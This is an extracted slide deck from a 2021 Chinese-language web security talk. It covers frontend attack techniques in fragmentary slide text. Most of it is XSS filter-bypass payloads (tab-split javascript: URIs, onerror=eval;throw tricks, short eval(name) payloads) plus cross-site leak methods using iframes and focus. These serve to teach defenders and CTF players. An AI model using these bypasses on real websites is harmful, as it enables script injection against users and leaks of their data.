接觸資安才發現前端的水真深 - Modern Web 2021
接觸資安才發現前端的⽔水真深Huli @ Modern Web 2021
View Slide
About上半年年:OneDegree 前端⼯工程師
About上半年年:OneDegree 前端⼯工程師下半年年:Cymetrics 資安⼯工程師
Agenda1. 繞過各種限制2. side channel attack3. 其他你不知道的功能
XSS
<br/>alert(1)<br/>
onerror=alert(1)>
Q1如果把 HTML 中的空格都拿掉是否還可以⽤用屬性 XSS?
Q2如果禁⽌止使⽤用 on 開頭的屬性,是否還能 XSS?
src="javascript:alert(1)">
Q3如果把 javascript 開頭的值都濾掉,是否還能 XSS?
src="java\tscript:alert(1)">
Q4如果去除 tab 跟空⾏行行以後去掉 javascript,是否還能 XSS?
Q5如果去除 src 屬性,是否還能 XSS?
href="javascript:alert(1)">
<br/>alert`1`<br/>
onerror=alert;throw 1
onerror=eval;throw"=alert\x281\x29"
onerror=eval;throw"=alert\x281\x29"Uncaught 123
onerror=eval;throw"=alert\x281\x29"Uncaught=123
onerror=eval;throw"=alert\x281\x29"Uncaught=alert(1)
字數限制
13 字
利利⽤用現有資訊
onload=eval(`'`+location)>13 + 18 = 31 字
a.com#';alert(1)`'` + location=> 'a.com#';alert(1)
onload=eval(`'`+document.URL)>13 + 22 = 35 字
onload=eval(`'`+document.URL)>13 + 22 = 35 字9 個字
onload=eval(`'`+URL)>13 + 13 = 26 字
Q6name = 123typeof name === "number"
example.comwindow.name
huli.twwindow.name
onload=eval(name)>13 + 10 = 23 字
https://tinyxss.terjanq.me/
Agenda1. 繞過各種限制2. Cross site leaks (XS leak)3. 其他你不知道的功能
Download請輸入要搜尋的使⽤用者名稱example.com/download
Download請輸入要搜尋的使⽤用者名稱查無使⽤用者exampleexample.com/download?q=example
Download請輸入要搜尋的使⽤用者名稱aexample.com/download?q=a
Download請輸入要搜尋的使⽤用者名稱a
然後呢,我們能做什什麼?
Download請輸入要搜尋的使⽤用者名稱iframeexample.com/downloadhuli.tw
Download請輸入要搜尋的使⽤用者名稱iframeexampleexample.com/download?q=examplehuli.tw
Download請輸入要搜尋的使⽤用者名稱iframeexampleiframe.contentWindow.originexample.com/download?q=examplehuli.tw
Download請輸入要搜尋的使⽤用者名稱iframeaiframe.contentWindow.originexample.com/download?q=ahuli.tw
example.com/users/123Davidid=message傳送訊息
example.com/users/210Peterid=add加入好友
example.com/users/123#messageDavidid=message傳送訊息 focus
iframeexample.com/users/123#messagehuli.twDavidid=message傳送訊息
example.com/files example.com/blog上傳各種檔案 放各種⽂文章
example.com/files example.com/blogpath: /files path: /blog上傳各種檔案 放各種⽂文章
example.com/files example.com/blogpath: /files path: /blog放各種⽂文章 <br/>alert(1) <br/>files/xss.html
example.com/files example.com/blogpath: /files path: /blog放各種⽂文章 <br/>alert(1) <br/>files/xss.html?
example.com……….
example.com………. <br/>alert(1) <br/>
example.com………. <br/>alert(1) <br/>?
資料來來源1.https://tinyxss.terjanq.me/2.https://xsleaks.dev/3.LINE CTF 20214.DiceCTF 20215.zer0pts CTF 2021
google:cymetrics blog